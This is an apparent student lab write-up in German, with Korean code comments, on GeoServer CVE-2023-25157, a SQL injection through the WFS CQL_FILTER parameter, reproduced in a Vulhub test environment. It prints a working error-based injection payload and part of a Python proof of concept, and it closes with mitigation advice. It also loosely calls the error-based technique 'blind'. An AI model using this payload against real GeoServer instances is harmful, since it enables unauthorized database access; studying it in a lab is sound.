geoserver CVE-2023-25157
White Hat 3. Jahrgang [Klasse 30] Kim Jeong-woo
GitHub-Link - https://github.com/custiya/geoserver-CVE-2023-25157
Schwachstellenübersicht
- CVE-2023-25157 ist eine SQLi-Schwachstelle in GeoServer, einer Open-Source-Webanwendung für Kartendatendienste.
- Tritt in einigen Versionen von GeoServer 2.22.0 und älter auf.
- Der Parameter CQL_FILTER in WFS-Anfragen (Web Feature Service) ist angreifbar.
- Wenn die API ohne Authentifizierung erreichbar ist, kann sie von jedem ausgenutzt werden.
Aufbau der Umgebung
- Testumgebung mit dem Befehl docker compose up -d ausführen.
- Die Seite ist unter http://your-ip:8080/geoserver erreichbar.
- Zuerst muss ein vorhandener Arbeitsbereich mit einem PostGIS-Datenspeicher gefunden werden.
- In der GeoServer-Instanz von Vulhub ist bereits ein PostGIS-Datenspeicher vorhanden.
- Name des Arbeitsbereichs: vulhub
- Name des Datenspeichers: pg
- Name der Tabelle: example
- Verwendetes Attribut: name
poc.py
- Eine auf den obigen Ausführungen basierende SQLi-Syntax.
- Diese Syntax wird mithilfe des request-Moduls an den Server übermittelt.
- strStartsWith(name,'x'') = true
- Durch das Hinzufügen eines weiteren ' nach dem x wird die SQL-Syntax zerstört.
- and 1=(SELECT CAST ((SELECT version()) AS integer))
- Die Funktion version() gibt die aktuelle PostgreSQL-Version zurück; sie ist eine Zeichenkette.
- CAST(... AS integer) erzwingt die Umwandlung in eine Ganzzahl, was einen Fehler verursacht.
- Dadurch gibt der Server eine Fehlermeldung zurück, was einen Blind-SQL-Injection-Test ermöglicht.
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
Ergebnis

Fazit
- Mit diesem PoC konnte festgestellt werden, ob eine SQLi vorliegt. Ein Angreifer könnte über SQL-Abfragen Systeminformationen sammeln.
- Um diesen Angriff zu verhindern, muss eine Validierung der Benutzereingaben hinzugefügt werden. Außerdem sollte die eingegebene SQL-Syntax nicht direkt verwendet, sondern separat gespeichert und dann benutzt werden.